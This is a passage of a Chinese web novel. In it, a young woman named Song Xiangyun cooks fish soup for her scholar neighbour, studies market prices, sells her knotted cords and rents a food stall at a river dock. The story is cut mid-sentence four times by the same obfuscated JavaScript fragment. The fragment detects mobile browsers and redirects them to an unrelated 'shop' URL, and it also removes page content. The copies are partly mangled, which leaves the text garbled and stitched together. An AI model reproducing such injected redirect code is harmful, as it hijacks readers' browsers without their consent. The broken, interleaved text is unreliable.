利落刮干净鱼鳞，开膛破肚，将发苦的鱼胆小心取出，剩下的鱼籽和鱼泡则是都留在鱼腹之中。 她手脚快，几条鱼很快就处理干净了。 今天晚上，她想做炖一锅鱼汤，再蒸些白面馒头。 因为想着周文晏一个人住，所以香云便决定做几个馒头和鱼汤一起送去。 白面早晨的时候香云就加了水揉成团放进了盆里，用布包起来放在了阳光下。 因为没有发面的老酵子，所以只能早早地发面，中午的阳光还是有点力道的，所以这会子面已经发好了。 发好的面取一小块出来留着，下次蒸馒头就有酵子用了。 将发得膨胀起来的面团排气后揉成长条状，扯出大小差不多大的小剂子，搓圆后放在垫了笼布的蒸笼上。 锅里早就烧了热水备着，借着水的余温，放上笼屉。 这个时候，要等个一炷香的时间，待笼屉里的馒头变大后再继续烧锅蒸煮。 趁着这功夫，香云便开始炖鱼汤了，锅热后下猪油，放入清洗干净的鱼，煎得两面金黄。 沿着锅边来上一勺高粱酒，再来上些葱白和姜丝。 舀一大勺开水进锅，大火烧开后，便转小火慢慢炖着。 这边小炉子上的鱼汤在“咕嘟嘟”炖着，那边灶台上的馒头也大火蒸上了。 这时厨房里的吃食就等熟了，香云见天黑了，便去点了油灯，左右无事，她便就着光亮开始打络子。 她包袱里还剩了些丝线，这段时间，她想多打一些络子去玉林街看看行情如何，准备卖出去一批，多少也能贴补些家用。 这边香云正在拿着丝线手上飞快地打着络子，厨房里也渐渐飘散出诱人的鱼汤味。 香云自己身在屋中，倒不觉什么。 可她不知道的是，与她只有一墙之隔的周文晏今儿下午先是闻到了一股喷香的猪油香味儿，现如今又是鲜灵的鱼香味。 他一个人住，又是男子，这些年了，只知道读书，一日三餐都是随便对付。 天知道，他此刻闻着隔壁传来的阵阵香味，肚子早就“咕噜、咕噜……”唱起了空城计。 周文晏没法儿，恨恨地从书房起身去了厨房，拿了个冷馒头就着热水啃了起来。 香云又哪里知道这些，估摸着时间到了之后，她便放下手中的络子去了厨房。 先揭开小炉子上的锅盖一瞧，只见鱼汤雪白浓郁，一阵香气迎面扑来。 加了适量的盐巴搅拌几下，香云便取了一只大点的碗出来，挑了三条大鱼并一大碗鱼汤盛了。 又在笼屉里拣了四个大馒头备着，拿出她昨儿买的小竹篮都放了进去。 在篮子上盖了块布，香云便提着东西往周文晏那小院去了。 扣了几声门，随着里面男子声音越来越近后，香云便放下手里的吃食转身回自己屋里去了。 周文晏打开门一看，见并无一人，往下一看，见有一只竹篮，打开篮子上盖的布一瞧。 里头赫然放着一大碗冒着热气的鱼汤，还有四只白胖胖的大馒头。 他走出门外，看见女子往东边土坯房的身影，心中还有什么不明白的呢！ 本想喊了香云道上一声谢，可想到孤男寡女的，又是晚上，到底不便，于是便忍住了。 闻着从竹篮里散发出来的阵阵香气，周文晏再也忍不住提着东西便往屋里去了。 他小心地将鱼汤和馒头都端了出来，自他爹娘去世后，这样的家常饭菜他已经好久都不曾吃过了。 他很明白，这应该是女子为了感谢自己昨日帮她担保的谢礼。 只是，不管是什么原因，眼下的周文晏似乎都不想去深究了，他拿起一个馒头便啃了起来。 真暄软啊，还劲道，对比刚才吃下肚的冷馒头，简直一个天上一个地下。 喝上一口鱼汤，汤汁鲜美 ，最重要的是一点鱼腥味都没有。 再来一口鱼肉，十分嫩滑。 周文晏一顿风卷残云，很快三个大馒头并两条鱼半碗汤便下了肚。 吃得是肚瓜滚圆，他恋恋不舍地将剩下的一个馒头和一条鱼并小半碗汤倒进了自家碗里。 这些明天中午他还能再美美吃上一顿。 将送来的碗都清洗干净，又仔细叠好刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432079|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖在篮子上的方布，周文晏决定等夜深了再去归还东西。 而那边的香云也在大快朵颐，就着馒头，喝着鱼汤，她也是吃得饱饱的。 现在条件艰苦，等以后有银钱了，她一定要买上些胡椒备着才行。 这鱼汤啊，出锅前撒上几粒研磨好的胡椒碎才叫香呢！ 香云边想着这事，边打扫厨房清洗碗筷。 做活的同时，她的心里也开始琢磨了起来。 现如今，赁的屋子都已经归置好了，也是时候开始着手准备赚银子的事儿了。 这两天，香云趁空打听了一下，在新春县，一般男子做工，一日可挣七八十文左右。 女子的话，因为只能做些轻省些的活计，比如浆洗、帮厨之类的，一日的话也可挣四五十文。 香云已经算过了，像她这种手里没有田地，全靠买粮油米面菜吃的，一日的话，一个人的吃喝也得要个十几文。 假若再算上平时的一些花销，如果一年到头每天都不停歇的做活，能余个四两银子。 可关于落户的田产，香云也早就想好了，决定买三亩上等良田。 算一亩六两半的话，三亩上等良田得要二十两左右。 她从蒲阳县出来时，身上现银子有十两，这两天给赁金再加上给屋子添置东西，已经花了二两多了。 现银子只就剩下八两左右，加上那些首饰，满打满算也就剩下十两。 距离买三亩良田的银钱，亏空还差十两。 若是选择在新春找个活干，很显然是行不通的。 只能是做小买卖，毕竟这样来钱快一些。 可做买卖多少是有风险的，但是正所谓富贵险中求，想要在一年内挣够十两银子，只能去博一把。 是以香云将厨房收拾好后就准备出门了，她想看看城南这带晚上大街小巷的情况如何。 毕竟只有亲自出门去看了，才能寻到挣钱的生机。 将院门锁好，香云便出去了。 城南这带，除了绿柳巷外，也有一处比较繁华的街，叫做长春街。 虽说与玉林街没法比，可在城南这带，长春街就是最好的了。 香云一路打听着，便到了长春街上。同样的，街市两边铺面林立，寻常的酒馆、茶楼等等这些都是有的。 同样的，晚上的长春街也很热闹，摆摊的也是一个接着一个。 吃的、用的、玩的……样样都有。 香云跟在人群身后，也大概知道了长春街的物价行情。 长春街这边比之玉林街那里，吃用玩的价格都要低个两文左右。 香云将长春街从头到尾都走了一遍，对于一些吃食也花钱买了些尝了尝。 对于要做的买卖，她已经做好打算，肯定是要卖些吃食的。 至于要卖什么，她还想明日趁着早起，再来这里看看行市再做打算。 但是，今晚她也不算白来一遭，才她看见有好几个大娘摆摊卖做的酱菜腌菜。 每个摊子前都有试吃的，她都尝了一下，有些做的还行，有些却要么太咸要么就不够脆嫩。 是以，香云决定，这两天，她也得先腌上些小菜备着，毕竟这些不是做了就能立刻能吃的东西。 打定好主意，看着时候也不早了，香云便回去了。 回家之后，她洗漱完便睡下了，明儿她还得早起去绿柳巷挑些新鲜菜蔬回来腌小菜呢！ 12. 打探行情 在小屋睡得第二晚，香云一夜好眠，睡了黑甜一觉。 睡在自己亲手缝制的棉被和床褥上，满满的都是安心。 依旧是天蒙蒙亮香云就醒了，起来后穿衣洗漱，今天的早饭她不准备在家吃了。 昨晚剩下的白面馒头留着中午吃，白面对于现如今的香云来说还是太奢侈了。 要不是因为要做吃食答谢周文晏，香云定是不舍得买的。 所以，昨晚的那顿白面馒头香云其实也是沾了周文晏的光，往后她的三餐都用杂粮和杂面。 收拾妥当后，香云取了些碎银子在荷包里，打开院门就要出去。 只是，院门一开香云就看到地上放着昨晚送到周家的竹篮。 里头碗盘都洗干净了，盖在篮子上的布也叠好放在了篮子一角。 她昨晚上从外头回来的时候，还没见到这篮子，看样子，定是她睡了之后送来的。 香云因为想到昨晚因为男女有别，是以她扣门之后放下东西就走。 现如今看周秀才半夜来还篮子，想来定是与自己所顾虑的一样。 她不禁觉得有些好笑，一面将篮子拎着送回了厨房，一面锁好院门就出去了。 今天出门，主要有两个任务，其一是要赶早市买一些制作腌菜和酱菜的新鲜菜蔬。 其二就是要去长春街逛一趟，看看那里早市的行情如何。 这会子天刚有些大亮，一路上人烟稀少，香云步伐轻快，一会儿便到了绿柳巷口大柳树下。 这里每天早起都会有周边村里的农人将自家地里吃不完的菜蔬背过来卖，不仅东西新鲜，价格也便宜。 最近因为正值秋日，地里的菜蔬都丰收了，是以卖菜的人就更多了。 看到香云过来，大爷大娘们都开始殷勤兜售起自家的菜蔬来。 “姑娘，来我这看看吧，我这姜啊，是地里刚起出来的，老姜和仔姜都有。” “姑娘，我这瓜茄都是自家后院里长的，便宜卖了，买到就是赚到喽！”…… 香云听着这此起彼伏的吆喝叫卖声，一点都不觉得嘈杂，因为这样的鲜活气息让她觉得很是心安。 她一一看了过去，在一家老夫妇摊子前挑了些萝卜、老黄瓜、青瓜。 又在别的摊子上挑了些姜、蒜和黄豆、茱萸、花椒之类的。 因着香云买的瓜挺多的，是以那对老夫妇卖的价格也挺便宜的，不论品种，一文半一斤。 香云那些瓜一共买了五十斤左右，最后收了五十文钱。姜、蒜、黄豆那些花了二十五文。 跟卖菜的老丈借了一个大篮子，香云把菜蔬放进去，分两次将东西都送了回家。 归还了借的大篮子后，香云便又一路往长春街去了，这时候，太阳已经缓缓升起了。 长春街也热闹了起来，各种早饭小吃摊和小馆子做的吃食香气直飘了二里地去。 卖炊饼的、胡饼的、卖馒头的、卖馉饳的……早餐品种十分繁多。 香云今儿特地空着肚子出来，就是想尝尝长春街的早饭，看看味道和价格如何。 一早上，她花了些银钱，挑了几家客人很多的摊铺，买了几样早饭来吃。 钱花了，肚子也吃饱了，可是香云却有些沮丧，和玉林街一样，长春街的早饭也是便宜又好吃。 香云细细看了几家卖得好的早饭摊铺，那店内陈设一看就有年头了，很显然都是经年累月积攒下来的好客源了。 逛了一圈后，她便稳住了心神，虽然她很想快点将买卖做起来，可也知道心急吃不了热豆腐。 做吃食跟做别的买卖还不一样，很多食材花钱买了，若是卖不出去就容易坏，所以香云不敢贸然行动。 眼看着早市快结束后，香云特地去寻了一家绣铺，她想把手里的络子卖了回回本啊！ 从蒲阳县出来得急，以前在薛家做的二十几条络子还未来得及出手。 最近天天花钱如流水一般，香云实在是有些吃不消了，所以便想将手上的络子卖了贴补一些。 进了绣铺之后，便有一个三十来岁左右的娘子迎了出来。 “姑娘里面请，不知要买些什么，小店各色荷包、络子、绣帕都是有的。” 香云进店一看，柜面上各色绣品还挺多的呢，而且做的很是别致、鲜亮。 估摸着因为是早上，所以店里除她之外，没有别的客人了。 香云因为赶着去绿柳巷买粗盐回去腌小菜，所以也不想绕弯子。 直接便同店家说道：“不瞒娘子，来此不为买东西，我手里有一些络子想要出手，不知贵店可收？” 女店家本是爽快之人，见香云开门见山，所以便笑着将香云引到了一边。 “我这铺子一向都是跟绣庄拿货的，但若是姑娘的东西好，我们也是照收不误的。” 香云见状，忙从怀里拿出早起带出来的同心方胜络子递了过去。 女店家接了在手里，只见络子编织精巧，配色相宜。 虽说只用了绣线没有别的配饰，可一看便知编络子的人水平上乘。 “姑娘，这是你打的络子？”女店家不由问道。 “正是小女所做，不知可能入了娘子的眼？”香云笑问道。 “你这络子打的不错，这条的话我可以十文收了，若是还有样式更复杂点的，价格还能再高些！” 香云之前在蒲阳也是卖过络子的，对价格多少也了解些。 女店家出十文的价格与蒲阳的价格相仿，香云也不想再去多跑别的铺子问价了，左右也差不了多少。 于是便和店家说好，回家去取了剩下的络子一起来卖。 香云从绣铺出来后，便马不停蹄赶了回去，将剩下的络子一股脑全包了，又快速折返了绣铺。 她总共手里共有二十三条络子，因为有好几条做的十分精巧，所以价格也就高些。 最后女店家以三百文的价格一起收了香云带来的络子。 一股脑将手里的存货都卖了，拿到银子后，香云便又花了八十文在绣铺里买了些丝线备着。 到了新春县后，终于是有了第一笔进账了，香云摸了摸怀里揣着剩下的二百二十文，很是开心。 只是，这银子还没捂热，因为买粗盐，她又花了几十文。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432080|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >腌菜、酱菜想要好吃，除了好手艺外，还得要有好食材和好调料，现在就差好调料了。 所以，香云又去了药铺一趟，买了些茴香、砂仁、甘草、陈皮等提香之物，又是花了百十来文。 这一来一去的，卖络子得来的银钱，很快就见了底。 香云不禁长叹一声，心里感慨道：这银子怎的这样不经花？ 提着买好的东西，正好也到晌午时分了，香云便先回去了。 回去后，她也顾不得歇着了，趁着日头正好，先将昨日缝制的棉被和褥子都拿出来晒晒。 然后寻了个木桶，将今日买来的带着泥巴的菜蔬倒进去提了直奔码头，她要将菜蔬都清洗干净，趁着大太阳赶紧晒干。 忙碌的时间总是过得飞快，等所有菜蔬清洗干净晾晒在院中时，已经是大中午了。 将昨儿剩下的白面馒头热了一下，又煮了两个地瓜，这就是今儿的午饭了。 吃完后，香云不敢有丝毫的放松，关了院门依旧是出去寻机会。 因为长春街上午去了，是以，今儿下午，香云的目的地则是城南码头。 城南码头依旧是要出城，昨儿陈里甲已经将办好附籍的文书托家里小子送了过来。 所以香云带着文书便往城南大门去了，出城是不用文书的，出了南边城门，向南二里路左右，便到了地儿。 香云看着阳光下碧波粼粼的大河，河面上来来往往的船只虽比不得定波码头，却也很是壮观。 沿着往码头的路，香云见到路两边此刻也是摆了不少摊子，茶摊、吃食……东西还是很齐全的。 听着左右两边摊子上传来的叫卖声，香云佯装客人，顺势打听了一下这里的行情。 跟定波码头差不多，茶水，各样吃食，都比城里要便宜些。 但是，这里的吃食味道相比城里的来说，滋味很明显逊色不少。 也许是因为赶路之人不太讲究，是以，这里的吃食买卖生意还挺不错的。 香云找了家茶摊打听了一下，要在这里摆摊，若是想要固定摊位，那是要交摊位费的。 但是摆摊的家伙什，都得自己置办，码头这边只提供一块空地，每月摊位费一百五十文，一月一交。 只要交了摊位费，就无人敢占了你的摊位，哪怕你不来，这位置也是空着的。 当然了，若是不交摊位费也是可以的，那就得日日来抢占所剩无几的空闲地方，或是兜售也行。 香云刚才听茶摊店家说了一嘴，在城里摆摊也是如此，固定摊位都得收取费用。 当然了，城里因为人流量多，自然的，摊位费价格也要高上一些。 香云将这些打听来的消息暗暗都记了下来，为了看看下午和晚上的城南码头是何景象，她一直待到半夜才回去。 回去后的香云将晒干的瓜茄收了回家，洗漱后躺在床上很快便睡了过去。 次日，天刚蒙蒙亮，她一骨碌就爬了起来，快速收拾好了之后，不吃早饭就直往城南码头去了。 为的是什么，当然是想要看看早起的城南码头人多不多，早饭摊子又是个什么情况。 13. 码头买卖或可做 因为天还有些黑沉，所以路上并不见几个人。 从香云住的地方到城南码头，得要两炷香的时间。 为了快点到地方，她低垂着头，脚步很快，待东方露出光亮后，终于出了城南大门。 继续往南走，越靠近码头，就听到嘈杂之声越发大了起来。 看着热闹的早市码头，香云拍了拍有些酸的双腿，心里松了口气，幸好来的还算及时。 刚才忙着赶路，一路上只觉得浑身燥热，这会到了码头，被河边上的凉风一吹。 她忽然觉得身上一冷，缩了缩身子，忙找了一家有棚子的小摊要了盏热茶。 热热的茶水下肚，香云觉得浑身都舒坦了起来。 喝完了茶，她又选了一家卖面的摊子，要了一碗素面，四文一碗，分量挺足的，就是味道只能算得上一般。 吃饱了之后，香云身上也热乎了起来，一路就在码头逛了起来。 一直待到辰时末（九点），码头上的人才渐渐散去。 香云见人少了后，也预备回家去了。 从昨儿下午蹲守到半夜，今天早起又来了这一趟，可算没有白跑。 除了半夜到凌晨的这段时间没来，其他的点儿香云都在的，所以对于城南码头的船只和人流来往也有了个大致了解。 早起码头上是最热闹的，再就是傍晚这个时间段，然后便是亥时（晚上九点到十一点）之间了。 除此之外，香云还发现，选择在食摊上吃喝的都是些搬运扛货的人。 因为这些人都身穿麻布粗衣，一看便知是卖力气讨口饭吃的。 当然了，也有很多船上的人下来买口吃食，同样的，愿意坐下来的也都是些小厮伙计。 一些衣着比较体面的客人大都现买了吃喝之物不会在码头上停留，直接就返回船上了。 香云一路想着今日在码头上的所见所闻，一面便往家去了。 快到家时，偶见路边河滩前有三三两两的妇人在洗衣裳。 看到是她过来，几个人凑在一起嘀嘀咕咕地不知在说些什么。 香云不用多想，就能猜到这些人在议论些什么。 她搬来这里也有两天了，虽是住在最东头，可太阳底下没有新鲜事。 这样一个新来的独身女子住在这里，是个人知道了想必都会议论上几句的，毕竟平日周而复始的生活是那样无趣。 香云却无暇去关注这些，她很清楚，自己还有更重要的事情要做。 到了家之后，便回卧房歇了一会，她心里已经隐隐有了一些想法，只是还需好好将思路捋一捋。 半躺在柔软的被上，香云便将这几日在新春县打探的行情前前后后都想了一遍。 不论是玉林街还是城南的长春街，二者都是屹立多年的老街了，所以街上的铺面也都有些年头了。 但凡能叫的出名儿的吃食，都在那里扎根不是一日两日了。 更别提那些摊铺前时常排起长队的铺子，想必有不少只怕是祖传几辈子的好手艺了。 想要在这样的地方快速站稳脚跟，香云思虑再三觉得不大可行。 若是她不急着挣银子，愿意慢慢积攒好名声，想来过个几年，定能熬出个点名堂来。 可时间对她来说就如同银钱，她耽误不起，更没时间慢慢去熬。 所以，香云决定还是要将主意打到码头上，这也是她这两天一直蹲守在码头的原因。 码头上的客人据香云目前看来，主要分为两拨。 一拨则是愿意坐在摊前吃喝的普通人，另一拨则是船上需要补给食物的船主和客商。 而码头上的吃食，香云也是花了银钱尝过的，发现都是分量很大，但是味道只能算个中等。 说起自己的厨艺，香云还是有些信心的。 要在码头卖的吃食，香云想着还是做两手准备比较好。 面对愿意坐下来吃喝并歇脚的那群人，做的吃食得量大管饱滋味儿再好些就行。 说起来，这群人数量还是挺多的，所以香云不想放过。 毕竟能多赚一文对于她来说都是好的。 除此之外，香云还瞄准了那些外带吃食的人，一般的客商和船上人，大多是有些身家的。 香云也是在船上待过的，在水面上有的时候一飘就是好几天，船上的菜蔬终究是有限的。 时间久了，人的嘴巴就会乏味的很，不自觉地就会想吃些不同的吃食。 所以，只要吃食滋味儿好，哪怕价格稍微高一些，那些人也是会买账的。 留给她的时间只有一年，香云不想再继续浪费了，不管如何，她想先去试试再说。 这边打定好主意，香云便想下午再去码头跑一趟，看看那边租赁摊位的具体情况。 眼看着快到晌午了，香云便先去准备午饭了。 适量的杂粮面粉加水和面，加入之前留下的酵子。 揉成光滑的面包放在盆里盖上布放在太阳下发面。 趁着这功夫，香云便开始处理昨日晾晒干净的瓜果菜蔬。 先切萝卜，干净的萝卜拦腰斩断，劈开后切成一指宽的长条状。 所有的萝卜切好后放入盆里加入适量粗盐腌制。 接着便是处理老黄瓜和青瓜，去皮去瓤，一劈四开。 每一瓣都抹上粗盐，均匀码在盆里。 腌制的萝卜、老黄瓜和青瓜都得过上一夜，这是个需要等待的过程，急不得。 将所有的瓜都腌好后，早就已经过了吃午饭的时候了，好在上午在码头吃了好几种早饭，所以还不算太饿。 香云去看了在日头下的杂粮面团，比之前大多了，还圆鼓鼓的，一看就是面发好了，便端着盆进了厨房。 利索地揉面、扯面剂子搓圆后放入热水锅内等上一会。 昨儿买瓜的时候，那老娘还送了一个小冬瓜给香云，所以今儿的菜便是红烧冬瓜了。 切一圈冬瓜出来，不用去皮，斩小块清洗干净备用。 给小炉子生上火，放上小锅，锅热后用小勺挖一点点的猪油放里面。 虽只有那一小点猪油，香味却依旧弥漫了整个厨房。 把切好的冬瓜放进去，随着“滋啦”一声，香云快速翻炒着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432081|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬瓜。 放入适量水，加入少许酱油，再来上几粒茱萸，小火慢慢炖熟就行了。 这边小炉子就不用管了，香云又坐在火塘前添了几根柴火，开始大火蒸馒头。 一炷香左右的时间，馒头就蒸好了，放在锅里闷一会就能开吃。 这时候红烧冬瓜也好了，拿碗盛了，泛着褐色的冬瓜，看着其貌不扬，但入口却很是香嫩软滑。 而且，因为加了茱萸的关系，原本平平无奇甚至寡淡无味的冬瓜，此刻也变得有滋有味了起来。 从蒸笼里捡上两个杂粮馒头，热腾腾的，啃上一口，喧乎的很！ 再来上一块红烧冬瓜，热辣辣的，好不下饭。 很快，香云便大口吃了两个馒头，结束后又将一碗温水一饮而尽，真真爽快！ 吃饱喝足，香云回卧房小憩了一会，便又出门了。 经过周家的时候，依旧是门户紧闭。 听徐大娘之前说过，周秀才一向都是两耳不闻窗外事，一心只读圣贤书的，想来这会定也是在用功吧！ 香云看了一眼后便收回了目光，依旧是步履匆匆往码头去了。 可香云不知道的是，此刻周家小院里的周文晏其实也并非如外人所想的那样清闲自在。 这些年因为全力扑在科考上，他将家里剩下的三亩薄地都佃了出去。 每年佃户到时间会上交地里一半的粮食，凭借这些粮食，周文晏一年到头吃饭是不成问题的。 可也仅限于吃饱而已，当年他爹突发疾病离世，后来他娘也受不了打击缠绵病榻。 为了给二老看病，后来又操办丧事，家里积攒的银钱几乎掏了个精光。 这些年为了给爹娘争口气，更不想自己多年苦读付诸东流，周文晏可以说是凭着一口气在苦苦坚持。 读书要买纸买书，为了维持生计，他不得不去书肆领了书回来抄。 而此刻，周文晏就正在奋笔疾书，因为从书肆接的抄书任务今晚就到时间了。 他揉了揉发酸的脖颈，抬头看到外头天光大好。 不由地叹了口气，有时候他甚至会怀疑自己，这条路真的是对的吗？ 可是，放弃两个字说起来轻飘飘的，那这些年的付出又算什么？ 他怔怔地透过窗外看了良久，终究是又俯身抄起书来…… 而此刻的香云，一路上只顾赶路，很快又到了码头。 找了个小摊，她便打听了起来。 “大娘，搅扰您老，不知您可知在码头想要赁个摊位，应该找谁去办这事啊？” 那大娘听后，便指着码头西边那一溜屋子说道：“姑娘请看，那边就是码头上管事人平日里待的屋子，有什么事尽管去那里找他们。 他们的头儿姓张，人都称张保甲，你要赁摊位，找他准没错了。” 香云听后谢了大娘，便往那排屋子去了，到了地方后，正好碰见有人从屋里出来。 听到香云想要打听在码头赁摊位的事儿，便直接带了她去找了张保甲。 “头儿，这位姑娘想问问赁摊位的事儿？”只见男子说道。 14. 定好摊位、置办用具 张永财正躺着打盹，听到这话，慢吞吞坐直了身子。 抬头就见个年轻的女子站在跟前，缓缓开口问道：“是姑娘要赁码头上的摊位？” 香云听后上前拜了一拜，便道：“正是小女要赁摊位，只是还要问问张保甲这摊位具体怎么个赁法儿？” 张永财每日这时候都是要歇个觉的，眼看着香云穿着粗布麻衣，虽有两分姿色，可家里若不是十分艰难，定也不会出来到这鱼龙混杂的地方做买卖。 他只略想想就觉得从香云身上定不会榨到什么油水，所以也就懒得去应付了。 所以便叫住刚才领香云过来的男子，“旭东，你手里事儿先放放，跟她说说咱们码头上的规矩。”然后便又躺在摇椅上眯起觉来。 赵旭东见状，忙又带着香云出去，轻手轻脚关好屋门。 有些尴尬地对着香云笑道：“头儿夜里要巡夜，精神就倦怠些，勿要见怪，姑娘是只赁摊位吗？” 香云听到这话有些不解，赵旭东看她表情有些茫然，就猜到她估计不是本地人。 说话间就带她来到了一个屋子前打开了门，只见里面一个角落堆放了些桌椅板凳之物。 男子笑道“姑娘有所不知，来这做买卖的除了码头附近的，也有一些住得远的人。 附近的人在码头做买卖，每日都会将做吃食的那些家伙什随身携带。 早起带来，回家了也会带着归家。毕竟都是些普通人户，置办这些东西也不容易。 可那些住得远的人家，就有些困难了。 本来脚程就远，再带上那些炉子、锅碗瓢盆的，势必就得叫个驴车，这天长日久的也是笔花销。 可若是不带走，就这么大剌剌地放在码头上，到底不放心啊！ 所以啊，我们就给想了个法儿，正好我们管事的这块空闲地儿也多，就专门留了几间出来。 若是有那家住得远的，尽管将家伙什寄放在我们这儿。 只是，就得跟赁摊位一样，多少费些银子存放。” 香云听罢了然，原来是这样，怪不得问她是不是只赁摊位。 赁寄放地儿这法子只怕就是那正在睡觉的陈保甲想出来的也未可知。 这法子虽说是这些管事的想额外赚些银钱，可对路远之人来说，确实不失为一个好法子。 于是便问道：“不知寄放东西赁金所需几何？” 男子一听估计香云有需要，忙笑道：“比不得在码头上赁摊位，赁一小块寄放地儿一个月只需三十文。 我们这日夜都有人轮流巡守的，东西放在这里尽管放一百二十个心。” 香云听了嘴角勾了勾，心中叹道：你们是这码头上的霸王，就没人巡守，也没人吃了熊心豹子胆敢去你们的屋里偷东西啊！ 只是，她虽心里这样想，面上始终不敢表露半分的，毕竟小鬼难缠啊！ 况且一个月三十文，确实算不得贵的。 来新春县也有好几日了，香云也不想再浪费时间了，心里盘算了一阵后，当下便和赵旭东说好，先赁一个月的摊位和寄存地儿。 赵旭东见香云爽快，还特地多饶了她三日，三日后开始算整月赁期。 香云出门的时候是带了银钱的，现交了一百八十文的赁金，又去选了个位置还不错的摊位。 赵旭东见香云选好地儿后，就在那块地方做了个记号。 不言而喻，就是告诉那些没有赁摊位的人，这地方已经有主了，谁也别想来掺一脚了。 香云看着码头上那块暂时属于自己的一块空地，只觉干劲十足。 因着赵旭东多给了她三日时间，所以香云定好摊位后就马不停蹄离开了码头。 她要趁着这几日，好好地想想在码头上要卖什么吃食，还得置办好做吃食的家伙什。 一路上香云想着这些事，一边健步如飞往家赶。 回去的时候，也是凑巧，正好遇见了外出要给书肆送抄好书的周文晏。 周文晏看着眼前有些风尘仆仆的女子，不禁开口问道。 “宋姑娘脚下生风，这几日忙的什么？” 宋香云心里正想着事，没想到遇见了他，笑回道：“不瞒先生，刚在城南码头赁了个摊位，准备卖些吃食。” 周文晏自是知道香云在银钱上定是有困难的，要不然也不会选择他那间茅草屋。 只是，他没想到香云竟如此利落，才来了没几日，就要开始做买卖了。 “那就提前预祝姑娘买卖兴隆了！” “多谢，借先生吉言了！” 因为怕那些好事之人看到了会议论，是以香云谢过之后二人便散了。 只是她不知道的是，在她往家走的时候，周文晏站在原地好一会才去往书肆。 一个不过二十来岁的女子，为了自由，不惜离开家乡，毅然决然来到这里。 不仅如此，她自己还想要买良田落户新春，几日功夫就定下了去码头卖吃食。 周文晏很是感慨，心中头一次觉得小女子也值得人敬佩不已。 香云又哪里知道周秀才心里这些想法，回去之后，先倒了一大碗茶灌了下肚。 回了卧房后，踢了鞋就上床躺了，她得好好盘算盘算该在码头卖什么吃食才行。 码头上的那些汉子都是家里的劳力，早起来搬运货物，哪怕就是在家里吃了些，可搬一早上的货后，还是会很饿。 傍晚亦是如此，卖力气的可不比她们女子，饭量大着呢！ 而且她还听说，码头上还有很多人是来这里做活的，家并不在这，只能靠在码头上买吃食饱腹。 所以，这吃食首先就得保证量大实在，味道再好些，不愁没生意。 可香云也不想太出挑了，毕竟树大招风。 她想着还是随大流的好，早饭就卖馒头和粥，下午则卖烙饼。 至于晚上的话，香云想着去专攻那些客商和船家，兜售价高的吃食。 目前就是这样的计划，但卖什么吃食始终不是一成不变的事儿，到时候根据情况再做调整就行。 躺在床上，章程定下来了，香云稍微歇了片刻，便起身往绿柳巷去了。 过几日就得去码头做买卖了，家伙什还一样没有呢！ 上次在绿柳巷的二手器物铺子里，香云看到那里旧物件十分齐全。 她现在银钱紧张，只能去那里挑挑看。待以后宽裕了，再置办好的也不迟。 很快，到了二手器物铺子，店家正坐着喝茶，看到有客人，只笑道：“客人只管自己去挑，看到中意的再议价格！” 香云看了一眼铺子里，还有好几个客人在低头挑拣东西，遂也加入了其中。 桌子得要两张，长条凳也得来上几条。大的油布伞也要一把，往冬日里去，刮风下雨以后会是常事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432082|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中等的炉子得要两个，小炉子也得备一个。 香云在铺子里仔仔细细挑拣了一番，好在她所需之物都是些日常所用的，是以虽耗费了些功夫，终究是将想要的物件都置办齐全了。 虽都是些二手货物，可都是精心挑的，仔细擦洗干净了，也照样用的。 付了银钱后，香云让店家小二依旧是送到河东茅草屋。 自己则又去了一趟杂货铺子，又买了些锅碗瓢盆、蒸笼和油盐酱醋之类的。 为了做烙饼，又去买了一个敞口大鏊子，那鏊子一次能做七八个饼。 还称了些白面和杂粮面，到时候，不管是馒头还是扁食，都做两种供食客选择。 依旧是铺里的小子给送货到家。 香云回去的路上，再一次感叹钱不禁花啊！ 可是，有什么法子呢！只能是铆足了劲一条路走到黑去干了。 回家之后，天都擦黑了，香云也顾不得吃喝了。 才买的那些桌椅板凳她都让店小二放在了河边，她提了个木桶，在河边装了水，就开始认真擦洗了起来。 先擦洗桌子，又去忙长条凳，最后是两个炉子。 